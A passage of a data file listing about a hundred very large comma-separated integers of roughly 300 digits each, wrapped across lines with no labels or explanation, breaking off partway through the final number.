3640896391234643313468574840298372161363933042849245729154
5545991135449363097659492206944540404666103603740872547420
9069830998859548479120512194920781764440844119038542271477
6067744213023297527656507768003486802232458913192572288642
14967254337360899458081,
2900198902800273731224916189276248899678612554586688273915
0611433345457682235488671043888955902885190058647393143459
0092777560359567286925368164189298279182322321450843192968
6297768714162902947681971796240294966163269420555583245456
2828180247391192905044948904936229547670881096313216921460
60788979012739439555005,
3292501784294375699108398385120662429853043112362434714833
7932959896612396841261283117142298222724892122980184793773
2560115549589727454382641479625996922047585664465282848310
8045109823325352907746863348225646514399248598168419138715
0506085446516178098349389235886456368083668169888831436744
22378841889450416088142,
5902453718075614938942358257785994594358356484379361191888
4257518523159607308550975337302673577976597484075894491672
4200895554782290752935462569401774774991696237798922699885
0502521091012087844375334247235906000792356388246636685867
3232198807144470607062785396823857699375425078873342872073
6704446836178884233778,
2405198162600267734841985413578436715269494156681987392388
8428133835721711779456986966623958601248830194799748070915
7116223218989909533077874718219246890428733467155603484624
9761269727052545710160169045226256011393719772872229799892

8417306065299101115180485971387282077215427674425696737549
41630529171349734263262,
7747610219164524306475150166743858118210802290781922744190
3662782196717194181583364811446483944757771088775459039037
3707948645395668260660958968875500261450964586107912295680
0166915263691163570299475693100999585589271367045318226296
4377226934682116755818699235228085393204594505724212776958
2714941809264957856322,
1870368248020569926071857359530337395001965836519410861956
9633706995282189626534272687519864240271221869898828612140
9111590723063440752727938295297146551727150754137423233455
7059255440946834614912815883591569132484367858959086482418
2410015320342462991267693428059613263452804967827235076929
89621299411204986170109,
2696845338245925647107853166679397788330704433287032616395
8620216152905704370610078811301374805854394023972865099025
2311615502712938397420865733728671670077402117805369091446
0508902160257221638438505411255130299503565600994124901662
1902920589053809670196237886922786925462625872803078782740
7220219625059383855027,
3191647530883322525524284270983482617738562047684775592571
3228971302636822468246736390481374151779134690149940367293
6558138394097918216898348907311135517977673179933061455770
2377712616727515248314042787268619752058266050319090105382
8373073797363001473060903563884674238069931123093923378151
65287632532718295604044,
1495816034751947462156964093989933017371301952390611954422
8156438516031018807640084902275882934284530373946164166955
5168570895095012025085190550590578987932663071028626070497
7324697046190629016174837527945279727520740651526428080572
4940401162180032644681859594192198280322617507338452741839
19650266708833320784863,
9681176682372691135696491738384778386306071064006762833037
9518037624133783124625092705784534876875252882698038968872
9869868856187543355898823260081947077503320825380113192692
4483394729715833394541474809032180779327009922783754401748
7751271445660603271230516914744378019703206059005749172846
7491293964158118726604,
2346547832358778447506966020795909879385935575950656114559
4926969994393354612981104856490731305271192478084055307813
9523364014888089077344944783512875976809065579887663349525

3293112457492111879628245689030272227078931493260817044131
9996259218953133164737362044472687625999757373281857202500
68123012618669461609032,
2174450829416628469483322796899977703993056761198990890988
9734194429415950658285442285203905016536906535579982829435
2607986312225456704195978762022730908258755289458715043410
7277056751024464731785851498048915796650551393645357510445
8238225461460832384878109611190969648232887899310474392524
28240934141382251994662,
2774404473051223369302153087799206777483950005117844061316
1945645562524742388822440381320997319730862379714725905467
9294044838259630790619991516343940972926706663169093029055
1656793202053270184479961889793701680063169997390734722039
1222869048279565651901830307986923382033463609647184951522
5263565644937618829859,
6504197957185973494896650940477444253133807642135746548682
9441577028105484502833288739966835650086972610025097890943
2660802600546270142819182876615883005526735197709629211118
6311944667648067436384225164617919291571106360365835038839
8065285120424651036214988775566284729416687890563490858823
7550206178207481808446,
2582863467965936704274300576033681786478669748918584373814
9277449197934734837651154071994152620036776649919722664983
2353821847548786992489856960956653219797608212339574296534
2261267024838149877482788642664578914279316270568860117293
5746165295155049021754113425191671020060925908870487084623
92884025637657844496246,
3963835685315213170774713833577868244001981628964661084020
2481409932955686681612581203675905031861448336069211833939
2892343977176922985480401972516087586599227021298369895725
1391215031523964686934234186925855301616885593202672953961
7405973448257962080387360933341637788373088281370689421487
7451081271172191940671,
5492536521584769930722570379080990398042779152172505729347
8899384900170847361146603930416020959035539751350305668281
9172484549339394135489713083947743292373992136093978709920
0255936554409922583240433877172522657526308405913977307906
4100212775126782617194760176464870336714121442598942145239
9204981589408041805830,
1759281032177607239703774449568430980713774543186628872470
5668177388145123025391393985483032467977414707092577593636

4762615834962042883648395585926718236380822354661177426992
4221889740782188690362203916094570288573972811321465653869
3533513617333307801406653679967217367857296964758452613503
77046910044492877125687,
1924066570261798548152905475478639476919569565249890098753
9723181552772385448451166129096643490772035935479449539769
0258074771391411621109364700969788367058499439377984142696
3192626417044080588679405683997228368229807090102359006906
2103783623551704494815833835864556488429662628795810101485
392066576868558901253,
2459200741025236482582852129243623652996335972836294961593
5095351967830667351415445601056591150343656505008588447227
6975159203360197866217670041125501220091936849117389935995
3170096649085285949648399127030000253750564739641804853954
2712202982490950500092176526602433332470537150820185447663
79966569852680495941577,
1126625527112407857351496909719424550628928646824325070415
1599079081291157607778304733509771823465814738854006026533
1505816484816405826065692612107215080151507223840422239826
8216292608992005389711939081115783980949677993298611073361
8176358782496593179422009389613757394630125181779451681691
64190449369838047875932,
6252617401052381539290662598906079861370782778962058517578
4562118832659154783919681596240878543857313577721074287368
9940181600387794493357798151655359213208014193756445222679
4990434446013809786076264670831003028574128457888308702054
2425759264249185370344550683334287768574999218922846292705
5892538455326298038331,
3358209537038911797661031531274352869258435899574885361024
5625559513793627222078476882062508630216814890446840286593
6738644137311141639753048361419968857212557129807019085202
7830085402531214271141208533459916522312589746594859333009
8686391713501136964801596042484277813168096178499141926203
25875752799458399498184,
4127349973443666882390749248301499632192508026491436000560
0649654130602529103436842590759887342415400668769258784712
0460942339768886587874202197662542472903868506259057202608
4073520464064433655321523680910139251323877547704447444897
6273221732893153102928042945431631298804530476672195110707
5595508557589058919210,
5205022567225586223177899541793564724945983566101422719109

8957919442986225131142672618861664355358539805208201990601
2698042686428515796499262856568128051554783347018020818864
5002393197241209871149681762344253857774209275819449127218
0681059270554464634002499759901040855024082070213588907350
5810136141634411806852,
2178567134861098226340904061360327508082523319423191406931
2659118220995770723795963515394696906609214638735666735065
4915707628840725389837491666769547728562938126049943834937
1808035701462786586938245182431109421094412532727327052489
7670903390916136993859062353910431881279507779688248008130
30590056021459551613405,
3028004651260978697099699806489550456042310213740379233849
5345137464262871883701916716762231742184713094624132038543
7311936765325412304958813760941836653830885555055163296708
8321596746585605071013031217935833711411236223101489880084
2022294479755384656264844894008834170226399951937275275953
10107398664264521898298,
1220642259608877917306786566212427906356691058813300174024
3448125392219744719460234123904259692206547608301355848502
4562616372992671443635833940887798414000856804207412030696
4082507177316802661829049706760315546722396566701664411052
6545901442715255436816055261063345460165400482195713820847
55044224597129730781267,
5127247235041873049337447228489661131832549266755576626309
9568359441497590984139158192602841817119674613842798490838
6719447765905491102652670005283267908401319341680200589900
5976110379255781175025028767673294789052483788826477727217
6915521333468058328353931152056606727306462538768250825588
3050488904783721344880,
7845130593800889221746620336987607788669706181147427261384
4377776793031151845181458187851847648908783116255062020927
1976351096280443127731149362379392515853688613733542808039
9654845694834734455985471730600977553082678992886894260707
3339024610984838805987350499457252032804594892637406000275
7864665090257343650817,
5383413848294449383078868775661342806455481516630672142193
5930204678944229484129553809870703192723995935211029185627
3704835971905982088033679477244669393448483114409911949157
5809412291446622645951660316190799921930125612014230398153
1162968687196669906681613024752894894813361714968511654482
8341277575747448237320,

2934258010889274630355360470724180013418420476092221942366
3942257613468293793257171645110520491573990689110794108547
273831596689885720598517306344070007328475987781186710310
5355407394931537844072242853918612933873464162881572163728
1348130218939029334912119833186041707090255187471101876612
16594586947833465568968,
1235487775741325789144382761788287616315675978894732056206
6368976523193294503709300169157301719178447556012429202782
2294726176051881086732183492391050799717582925508517870365
9158145766231395727310571718147740759916433098487493318442
1040625847881658806876738843564873581109328780688305011459
28678053646802805282893,
1233630083929299416194511255059199519381234468073661837916
2696489889506124979622221199431532326747130472304582320297
0866360207081026355106292654879243082445902693233564364960
3300472719753502040137893254911515622160759764840597193097
4190592861060438372004534898543693247181376004722449312460
27248379473288566096136,
7796811809432026999487596810856767377602079940528552177083
8528937429696625779013802913829777782517184806720773756510
7359387727256214363642258637481183543382957221250147591648
5218171472700925083988158882115998956203362406042767710689
2411112087066893936762381719089998149807183804982102001284
4617047542805791197533,
3363761395005292724007193347343724065045940677372462760885
3788283235986975207164851538673855447390224750983301805025
2463537261444722488912201225064137954879434798998905238253
8432900965242169977582794045768309672153679868352632931178
2798098797930485831907527745730974098816648350114367061311
7548097496446034114589,
1652124833120808486393226585114663498807454066504197141271
0964377357213693485717058932852883320418258241532309786518
0567870581225621538432470876394476226406594859708886693109
1850171523092716179148821050706930312739111043249275298048
3240327611737178235281462290456722320982531587109694854614
91318004118712006476958,
2820534474402897452746625835282373261875469184789766014195
2087045335994365421343321533285017711684694454075965705559
9838656708323038751151834398842422317797953318369880809264
0205943663890193705414904944389645379248556601557694723289
2702290114146083404826574843634798571897975480676176123229

53061580378625157619968,
1066769158756965966067896747753633807487004084510748368550
9955948207296062661988408737840634017754825115051914318470
7573930044409542330394672925435861787260838405259829156288
0121720581958101955348014405061295613177941431783943245032
4956905478491459898993168356554303352588162607130567494881
63965020005212744375178,
2623339496737076179216259322501716714089538777092543769528
7309107552597250588628517602795508839954990464370051268451
5275442162945962234068144068691717456660027876499885688207
2173441617521656625688404379876910127662589994475432867999
4797515294319173700356631029153391073104835435349462350245
47217012750244502229865,
3019988631312637084323623372502730048110764383563996408890
2457208523919537356403835880352181797386273172527555415379
2395927553508194415678679684791758124495264443455587264157
2403186777704843205323134763321364705049405326071553637099
3219088653024584544218892431882668320645304255127397619947
97448919699013672522255,
2751622074899746232625821785506347712052989405408602250103
4295975010291119836187214719080414020973779692205058431695
0246382073361060602402668574770473489453663879394987878923
4102560960930190108129838825713370364380229253962739273577
5134140852667773671243611356638435890729348328871113772060
32464951510052863764916,
4543655144682937573346829256268300293651395779164202420511
5094269397750098221608534230577633422550713216399708525121
8667397421611442894576816077693036628899436751702209026703
7627476176928610661283045252734489093928256224523512542186
9350988845830747838232904585508702608910928492745355757272
4526817232423571529955,
1563663870652670515211490871626479138048281592902064223134
7975908134561324391235508221245343148667869335671192126914
8955344771720994831362826795474533573314389138983487206770
9012286673830649799518360705901939833311987536997470158378
0431046102296959376948048942761392072481923061484188854955
3623901465002183867378,
1690009291860378892445143480601304723650903004038441251077
5850058447080782516983084261662454208935754535757146151941
7416198277554699730270597572084604443128164951462477403419
0013433251761195247484512240781139085936640620086012330237

8576923225556776724607730722059074425658241576078613541134
31670574440895684038117,
1705174561099740797117133699098141094654805355998777138032
6167179268188738692414988723297049150952417484166574348219
8064455493926534051967917586687902029487682033916872280616
9332595630367964572141021074819487769442153757990000187987
7584501024333653018437186542546170623101308778487179496574
15012210882174157617108,
2131223000999902461886755868947405590113523447519870692061
4615472832457531494468739114669578345368269529863999755012
1055980048602101675380824141381486290107801426441673410816
4444604119504493445753590544063006621593027513602144400238
4530519580131313887215831288433142268141344351274682945544
79386105552783204110412,
3877199346120841401313832572693362898180722521953786418071
6067148992566982677031026990412057685533214568741368062215
6776441595995997628575946134786856238771439749955815629516
8701238085058890654607702761695042187263561585071942167791
9400303345986560692383325328016314696906848491163347213399
9147417536570023195728,
2850566389606927336448368406380883309391648582744713041919
8746540917852066294842801673594937665823476389288297078760
9864725334754142985829623397183232152277247574761381226874
8678661359488529869185691529065539805693477218477090535805
7605610085335503495266823478377921988528112661064530447450
9776269589720660011203,
1142160573768648733177871194864910999354930129426386135098
4058218300673491199690032436008538952840370503977091195462
7545621573044608964568190594218876093932374372601991307203
1279297492291577923127679126814858913109248181695324787075
7581366547604373173559109785924462702663132628672833247906
2975563191533556386195,
3057757620988557967648241591469445199744321020554808683875
2547494560317764283520389075596852577834833682534043118540
3573001902236926496962559950298004431713428765409630054984
1629141742848890080648044437925122540396746908970219024857
5915840638368209160698771336426711738607403813478355257912
9294716881176521539359,
1816136638018204247024515223534157035661495237608902583841
2591239507875801000020360142427428132357066765219177127173
4885285335273932848350442504493669779358257915313763091000

9473390179164059915995443374997320278032315374264973376760
3152546572914676059695425078817054096631669405200386398487
48629868141639939310413,
8075750160270278611736518542343665960798096940396213756796
0976211051076311409302638421174998562232936596383681244174
9193972703020358672806255468544262048539090997150650459182
3757683653704408342373004097911985835997562869815144885307
5678421753038076652981714200196494819137422161564226102762
916437008228560087305,
3298888716799665835032758780126168099477769106183586722443
5986759565121653788537296359446449292653560717734917449464
7005606991946320216057718762100937927815365967168287394820
7479149311676419947393277104970581828445086859835122411693
5456764503922295421428332525278702948144481673486101199004
89465392065308545241410,
1350698700864869321379049661758815784501249192104018517348
2996948177373317646116347259926570035770276911347517802928
6506807050504523468500260532316480081184018230249082784235
3734950242338411381158799016688032664132208934090056852905
0153739203400959823435180843112040707420279745888824021122
71319985090766309642694,
1267767269225899507185877082706268287372307642245033251638
8364471439361441713122334910146737636350569767594525488383
4543956016031088475810523793880297781728314359662291888530
3998995608899308802567134226002800057542738210115177788133
0794025800268617141298913533192725477789216945921410314859
67336190506815078685328,
2182154754211565505582795156790256377319046761783365083798
8191862052057306511775879505591944628516269326294894852475
8894837957791998873303697879258491525287225873850131931124
6722605161404726158586207570251768635361614538837588074732
4824420142971713461646691039259150256803815016039636847011
2937919812253008493083,
1305962256784995626261758958417137946640284701974682879705
6959339235353548896839165435859911672618471000091437874360
9814061777142875127207888177450479178009205016550717294538
4589033973207053399283144356754841346788908106084089739318
4711540707409556434053136797607951007627903827090571587827
45794189319264411092426,
2734946746748940415596179585009013987786350756559242461721
1857279953646071997233800360811635183539191408143092332042

0962334430588480896979137923302276111586809679957282806162
2437623948809115635139840168604944446353591240533104313715
0570885240122938406176564246967241129424941818974230486231
45992128185011921154022,
2326883232267538589050452615014510813293450161206370451750
3463381203873684892845232383069261091439658591844548806091
0885100299431824312767606882583922084462247159460217097668
2632926654742141236172767710315494668564362399300596262275
4303878762287988677236695948609391571122360057823543836565
66414573741623617389003,
1842310077534125232334313557915738285211810747176325474307
5908935325554107274328673681811961320716283625827535412714
6066612879544695791835346539665946270827976326247539988588
1922090107363715310874694040540221222450108890158928048256
9361358913505687513609370604214390190896539665110950188074
95434885991999841283775,
3063057982271540260460350276107916254075160419135128717258
9296672069550854602640474519556472440815628439487934954646
9104032515787131029942971558736316405709278349767726239476
0455280147529130599034425378707249116382113368715692132234
7416711336148514812818788168956149277965414549717170202714
41675601265611044937736,
1078019023437844363407377146060602079747324192140532767448
3087798340263951154490167483946966026810847069773836611084
7727367106085752040617938193073405398493069230996668713108
2547119163560441379522752187117391053362827125671623135874
3290768247390688077578871054146374103013765984743608393788
81108881016033224523557,
1642326718844948025628635004137420515285748628490768334700
4896907514522892606543111340650572492547461956522147338325
5753846803876037459956850281504099720843285578207350220611
2380644242309021841147774831004568974903445827509499808999
0981022429640066497048139984350987374507402200971514337109
14049146966731208590554,
7347142385264791492045740327512453638910332739429339742910
0554793502240500434719573232652825538078144152515992566025
1686267864240246760496681447822452864325832502989503269115
3180060734414447897409843808578820542004778194851431451330
1128553540937510690831092359071934898400544731015456062902
1414890969465175959247,
6184523246345733332941507592236355938008666255222346860167

1063524856344367010782474620235314083190420113972159869133
2176109388602880880097872632923799528241080777833803136610
4044609710384134439679503647408495767198228424409912042685
4950219852882471121724056679295150779079216468027562001355
104143444452147306816,
1101476064466774776964222838670409358005797583845706982726
1533006290385213184239914640664597364014455993660549619519
5978377312434933572698285462428305988543287298769031856233
4654712676696025869887667561945004663734608176883778900888
0938364757174912645378978256919117249345730715483786968061
47217863442454375874888,
3090930897145519473570880896583586561284113047194375885187
7103215379520489924867694635636655027384168000113062376272
8065268901698247775883971545770185740284399079729587448891
8586775456598585959628838490165944443044536713082205747843
9241939515250737287033572192662998894833833937319516172440
95313158302236857290329,
2167987278686166414568663779551991737863380622346064451334
1171653478436810366625849834056759561491832549337227484197
8739601392615559436156475687031465367095336409604609140528
6153848176301257447242611431044328119008236738767332841360
4681448966164854153225309141191779761464026228061985771116
47465094455926568529251,
5470437633070461290521708174238920981956846599610354761244
7652983781488635055246177688722810381069784022256327844621
7861994162387169355464020157076173028985320032302960194782
8992989085224780297839680558527896829580607805883261887886
0830102903771905108702525859322646194191653595058806644455
6168093298696814139188,
1127605800027632670881787643826602183467329974923229115282
4418384037426212173686514105000872500989601574426427980694
5034466965913482007152827842418956874953421843541542466177
9980577577282760362846510049380201439258501503827782967807
7208468573434791224803210229408819439578840056792324419486
73422365526243393268893,
3319382723395220883174066370144327748107826489886218257302
0737235555677707669335040989531737705966683951977963691986
6860579358285589232899829239340119250296918933928579109323
4967918415994038792527397520617409726265157155990723704329
4858760273617566581402843113510901774053482917144169675237
16329521295058872837468,

1087213716500340531083262693823643475697206376638601143900
2242283815361369346949413354162365214003838261627373150266
3781567144763355086512618503852095895728116690815273216734
1933964582175839264870601623980673451683714842261151024193
4079971912841851810779423206161950105481925043888452028008
66718633271124094609377,
4924058273776535328723925697567653390213137280840101158454
0520823368361036295363152951821456492126206274207107148805
8771743330693080940210977784128025608354817469029569711350
4472420568741822486747687264970969636944651440594329128926
2976290437769170852810353145218906638106299716885798414075
430164018125573570188,
4403225958567027424408480691596459950901042620033623746049
4639270190736679231533701584412440969373543455942329233374
9306924259504872393527592732375939061339236835498164461850
3433584966675627513235923978182827837799151144425369430815
7862088328224160305443038602867641035171858156134824689962
1947241568392713985327,
2885173919802296590385124591000618976375983345663047624656
6544852247440201764762081876196278093845503076237431062288
4706433163082329639094369129218363225319895091701640854186
9287391107382949423947720684582947608441942150711116078889
8670898734495635119153526973254477121573288017093698741783
75033599863533497282655,
2623453764806494728994771809684375313383024165901086115428
1448802475460003712672293598253006109427836829120545929950
3307149324478852204971841230357954869428833467273448706801
7548662621951468347058593176712261779843118497500177721562
0641191118741238422412263886918906259389595256278705739911
63760420521084348550490,
7614264951635268217592256447131454004161392404394525278578
8049671472569113040217973688059483466146261024504513937046
2961946040359219115750146101203096585271115659220265131820
3448605474884336698098507620224127448511069111573034153993
4558645260129922660720927393112123278750058498853336469303
4356442150787931050871,
2014625912233593052699095398092568896617422323122171251087
7218031940686364587063239292625422729678961290392526047153
4005204653149626954027527214477796873895672677489855374359
9061704627128729607742416491633634365893469115970646447196
7252827672611134012628281653340551402310499533245628735181

62738127921882764472396,
4732632130035513141557431892431238635908917690236137677549
6829582268333254421876103545358621182198533204344024132961
3436531417197423798250632871432473088468910853259384532636
8871921037237591186921088766405724180136821223399420064623
4804951451257464949349244385058450758957160643781540610785
9267804631480787843025,
1320918595487164197713853752961458154835808304774600084883
8928024802729172509610376242135251978639387877910784380997
0295679244985150203429405816180928022792687691128778337757
8861203351051486967055108892652402210225243689881616834791
4796188503794284400095925639266320922910646558934667506146
83267187932109139670760,
2199117726625964765928943394069126385041220179734436898163
2852610528690231058379772601638858054592442932783136927705
3139910716907987416448318317655865409741170996139737362491
1259964760163346520764172355666511864743989265082796944220
1152316280807349688068367040919283559947894174883652886495
28609542550070911936665,
4551057635013638927955239622345935012219318533578552760364
1902466976645214110775086603220279066895509896860187030426
5045860120786690258025722360828045340808242922914480856879
0094441495188306757626926083159402234293118550014494058534
8641402284083080271925103815822250088051464974212868376774
1287041035551483607392,
2488844718124861700298195262044398516551435482602601484727
6176217658583116538302906360976185017435871484170650320385
6422703056704197839054835679713428108276371198768560030972
2667634374222196076320032446267858180990739250523585444519
6587363071724387789345201231186879043061616397971797530128
78704086436058623107860,
2046893551140004383287182036831861317806588885451944574191
5905370917045061585001515826037312132886427220305519911392
3267795433230725502154914309584763544946036395641133899605
3831622285411061971312163485544094040201284399438610465186
7705967600371163471114059138484180001832576006104481636404
77093984949356663331774,
2263512596863956346700768572498793198633948303528950726087
2543973377819684707243610196017718492773703240795133974653
8396667496176617455441258055345571060885891604460295881106
7660611678028785424224478602887684322391045994742276111718

5818937757610358919579287833005401258686528210795072670292
70085738055990234576707,
1076971385476333447677047925414535513566962683583982904822
3296720988869146877323115534418457692313211458487109803794
0277517435861319709245282252487811444286035664684620156447
4404855733313082151753188408215378941766725453838432585502
3662867148425457956022507569881835429344463258780554246675
66882899273428434898732,
2440280670949229109673022397298932182797857607692283245123
3759465599413754054984334584685061530765949382287621693151
2782768524932933418580304694884645606030855954989502068402
0239975378611085434603282897352382289830083948084654479282
5239836937130621325173545787761945978269892499717628493287
78374857540423933670133,
2675919457607552110745022718251948092856862545015470399846
4621535697654019642825081923216970091919519993206607213758
0555666366865223675217780164504748006568623861713829788615
7674496724967249864753757163666555731355495046858838580116
9383580123928080658355024613437323256486642127037565266885
79784259892951910696283,
1891333261669069135787855092253747589064508407393670791723
2173742852265815815905825714577868017173314971210466633324
2670698971639048054591526501066399527310809798840295940916
7694959304266392518709457020842685454692866216723555605835
1626001995864251887604738388299033818868618837103905430278
41750335319735534946389,
6306321074484058062400705037310360819731537505223631462689
0467669835194863805913304902744214327642509587911188164690
9040472978550572370986528795750453131175442820250112681846
6127523678595023264246435286076290471410378149213937923792
4093119577894095067933979525809005182110762359139500939990
6429921497868162389941,
7755963145573599794155058136882517062534544636693981141552
2985499528111895648694771646266779657698382879497951206391
3742181937592164531743823141621141392704299294104872461507
1186382230662762518026990659983201083520939223930492119537
4716793591485979442909098285274626394141872539966951447212
0043598036981504582704,
2412468104682848694564708227922787265968027654448805553386
0537299534030716642293791324886546238103826279310647388158
7708910480680592760527103786564544083601940675013501278433

9604749535210688889731220731528715343599883188332266437907
5440676092376905273577004648333290271438853836826703401564
31708084745896931591951,
4643284900172950374888008233593526278674088654957685221782
2964203895168450634571300027039476868764745128926145184746
7377103550915171740018014956576438132674298184844864375438
6797446340316452635692478605397045230398373481132778386142
9972463526619232724542973811959812950538306470796052838890
3303448855339634833686,
1281091964592174712011265046666942354828734236383846447091
0825381940102393379219262102410452505461126284545168761453
1190927465614464419973124000081918693973427848575251860121
3054816856439145809025731037999584422363175980619951069586
5536498817693379811044681266729441737599202206459630278837
02309048862085470463188,
5322534815562102369077173260918504201074370766427021530819
9701827135780094758945651815858118370013931827749183346464
8444798594146522533840634040243057870315649024144216808645
6451836020044613135944107449027593770300902613266380606928
4405626828934429952430042230223012525044416376087266572985
4288989993350750222288,
2742980988729783274569847243126478125663401873807169440187
2750789023341972038398455378151832426351553112956176179734
8933874910592365033407154270135746261380212925905290455105
8409330832984817085281357278767456518718200325027293610517
9927388601485739333010860715452688612754863616435314469831
36277216515686684420729,
3228563193315920415062512030413714865441788814474620010204
3169973367722803065414162054039446532688784261794186250452
0685055630574351859615659273959984513463224982041890035767
9205137349922924436158375732953553367285729325801087868428
9098692266583845969247469312053221344851534724930445419106
24609377436233514436864,
6065691451347321380375607157633436232432728156212437466807
3893738417405290570562321787993157991014261304462883336831
6456907715612747287970280612435650621500782684856105752933
3038134580616930144465768129241077941156717876575114639149
3734261798536754769863512639020577382863118606624011029295
7600968926331490291950,
1948632044069401774721438738591318279557671221905736708445
5426818790349242727169969019595795907239163125095643140749

8232769824509844545691881523197253518824814453515946892236
6427732537502128519603883966291887158942198916646112515974
4312798297834574988095614420850285697635789922411861703475
11803931332605078070161,
2992747936159395065615031948167233108424770868795672267724
7444479555924634700857000828774037721145585607650401626952
9209094779620445727124225139444349646403277165219765744017
0591367309092226339834477631013823195880711443107718409613
5586690747293621529662892361918147221340142317236338826447
79360705451879356894790,
1755171873364420531603021319344957785792879736373942200606
1102754731095714291249392582703158016838952617996903986562
6282133281887488071306480498030774593952614060393411231168
4084749600371318442224415952971961605368672111676174323581
6113252163978483777417770306924113699809910956417241554142
90634877829807864290899,
2158363435850881908592126703285817279630262856578740653937
7746158132309603130996320059322161296226512984785670703927
0842265401558626541233348567390743213484621209900219303460
9417685838995895036080249084200298981790441138105031170973
3090658488841005441984131345072412625625898236705126613381
26308260150265619559859,
1324888255663963372857257832896029183352774935139824879328
6931009158246161130800350423284866922911303782446556236599
2618888763955409332625253355785465866009940089350410602602
6299689242199542262879778708913812973590903379383642318943
6557321513747362724095622641083969590596767673381212013776
29008997809273195349744,
9438145018542233990051719019523143667358809633819167669003
2661711480297499360199667075304100993551891383658998419802
3517463442794470864664715946940540118519448471371038685570
5815272285154719640934762600147671147699528479338909232732
9799686611237874088252557942644288114769714308649704388822
6506741665468267682346,
6254230063659195377615521977876153512038692077229534259658
6479406999661817471166101254096039706452315570934420004595
1384410122938184697821473472964695704362356392920580645713
2235505912483617735747472284889870936562601346738750127393
5191173144420443588180410147575123280113967770430345096290
3868705009995865150159,
3279904671800653381721635245425474842003558488286685594835

2930770842562568349818264093745027057967908984326851985786
8682554603277864695993072428993651871770408883962402238881
1499565074658731785916938721162253723666795118215305155913
3223453303849989285815359475313790033535292157452961574747
64343273063891236403020,
2950957826204604567144228566287951360123824815685695042763
6474030398589480133615251221490209384683712591881989359581
1481232449371989957165014244355773347030500167526638768787
9100881703695772689645937259875977249447640144687149872083
8803035839805274829352282045258242825952501162747772540348
81751040515086804230346,
2022367021079768158085419896399896958890840536038710104850
8336076965517290042581904523583597856973129657476130221656
1981101575947203486929664436200543339249018139781592839453
7452920721863368871576052587547375788884759274010881390524
4003255133518522229868901224543816454460297417562086448087
62371466432119374501764,
1222900525404455800272822522433493403055369693011095489614
5429028549857115430683766349386770082930516386189501917044
2864638657153578063310174584895251923924476858439913284363
1075498543907731446845421309709556275298964357340055119213
2800875625110969963259729537363767106957443510497281796702
86547907708715629072498,
2741697049441866057926200524362200708395840875523362988993
2436468470217657224640540302125023247958831700018433251118
1624793883046380409781474487102305739441080656145344591444
4986484847977442336900953848138079821780702189472411119800
3932460638533057743495518011574143481826786526697538238267
79631697591998181902922,
1417433308688044944165242524348898242643067492655727285133
0299361258092186127228369525109172437778585527981370530289
6708733666243830233795915186826936312619452855637887474834
7853574630664569229409923538041159898838437150862174921488
6791671877000745874393687798148438705106856075964558455193
37473421727052582644536,
3139229528470827293561760424179600508927407390804621679823
2804560394431779562590600564516382355869586598909874909604
8883343884455346846887014092193125792395225950804044691653
7688221026627273293896732236857654855281320142407803016735
4713758300906161253490894434254864255562508433269625767849
20962942231879689250832,

2534622753247444563278303685313389215627648365210385309571
5955497729071335762287635638123945251708896555802327794206
2258014055529642508498211134357525766437920155372498261544
5303116133651728108840484086460199597731662796941578425468
2279601699681268681348990113803105527363372785774248139326
40657730471280308472662,
2866950513830595414244102393486455803633513134192758838427
2730376809473836521502407179222540978804672501052032010718
7723213579255747590262129576695098721636307281773162643722
8130005431038978156381193582106638400702732719501863328103
5251934046337745541127184558148642722485401638144804522603
04038037754121899527985,
1178558448699721477492160498860997354053187593909687669256
0711272165079506974660499051467379846094607355947689939229
1576507825359085897929532410040683121560565239598758541335
6019543261643775673978152805262242763576745580944416592313
8758522315842549527703698094432169641109888592939224833208
46327826907866422543015,
3356825288021660813522372673501813720505237426325924108909
0204606673931954165880509285062475659622696089016871162382
6187343026702071287304830882013911297286541599531558165331
5861798585448387441461393199463410897231154869486266433268
6562650253894419065894341371172106278215875438820080192630
21548023966668153053913,
1209785604301777329076299840815759161100103801941397304530
5221440531729945462843014331199881361230590813414236756169
5022567259641522360277458323782079439406870618392199977012
4009730962761950368446571909857645716786517350723488913430
4438977920944723552659578811566339830963902121065718958579
26462257579974242202731,
8100551698024790660279475080012106915041642257392407292558
5157528734073753856681957892606198887484517337593443538339
6181634592105049333025540308632992376605188693254198886705
5726586582657669510787079392806784861989976629782255348361
4780775631600572569027093328898351411237788345895979244635
0782012906921382324366,
2956224221478121475152558407792036344092803204737661879028
7861568793993890341197823736639912420777115652595100142205
4682868049976537988771206451679783337958253831941836973977
7269652191412471339128653752428524382024106039950049994488
6671922269926962780555283200101765580360165275342637344148

40011404598114215704288,
1012714912212771349228849803096766394235809667567904177539
1483044423372113740331508994770321396273407023154919627173
7337389109622352129969501729546429743752490412511289105487
2811359459995281020886009056428135344784328775188611727067
8335339960664896377079778281436442585165525816215770806418
96489220079054330809081,
2846791986027370339250604627688623990988000870330650725459
7903705880582763532073028374572727969829586858313099193735
5938900446961554781861953021134347257735514663345884045101
3084579448981114638318473239280326266768827797150712576824
7489105925248120356280697711732416344895432894260759647641
38506019258595988902969,
1121149627722943693048745927391521733618177131209599834598
6622783736743002450845983861821465812221696853263845885480
9312849386126865550836168498738221099249190400782034042644
0674221528025538631432207332723830003489722286830173162015
6812948748354565236483387752323683733362764523963549470791
11859587709577395250492,
9568310298078075520022992450146435555876354662188287349459
9596515239727573365961210157559870569771656017510989686270
5522175411100039900104493436620064565843082657737443297191
9914474693088797569119300399337935065212383112345335346409
8778489876287769007454584799515205977406578130569064210196
8238649077219750279845,
1191872274762525636784942610093511774196198031114629179458
0493590744191023305629280685013684017239441118538539650555
1033744378928739193688241058838201754002841933394212587210
6211013074119473350533977568629750826429212214224765256445
8742857941415398960531329490689897672001280456526916545152
63145888005658484430379,
1937260045764481517607586312644531820077300319485909301239
9174447905453062052124099247009063341318984930712700727009
8706131507482334608322207615834413277337166805019006903364
1725148883824105444168881406527854546595464948560091733233
6726778777410933812934937983190751978479144102947822386056
26579086724541238725568,
2162749470233445454089979795865742514630189854314467251032
9329017606163591812017442203006786589663299216117701418719
8878486680983523176538405967421000434091289032967672588430
3053297372017651232767005456581988524617241215875058601345

0948260185921154997470167561008424761299467092954599069823
5568598154092932305370,
3203216374465099169698881562379670457829943291463889141002
4533268066030517550132450917473605853822125129445376340998
5860581462223898686098327176061134622643496598224963054084
3133336713527190237845951607014967752898163493936731431385
9258391871319343727240445298685751386420448676650087102584
89974091637668342046015,
2177453444190772774480070326480004920674195794147535386581
9143229862916000013881152800979554438957517337942797000953
0834681101253591195568728939932163712083063957166704041311
0026377606615470809932467509961035284314953594089165292535
6264798710844448217111409187215002467355112172769927717041
17903274926681838268771,
2501339821707965449311419767080442176677762824566378345901
0508647044393106782878528051034675390570602587563977581261
3582043912800738561561365722456151127712092394292728183566
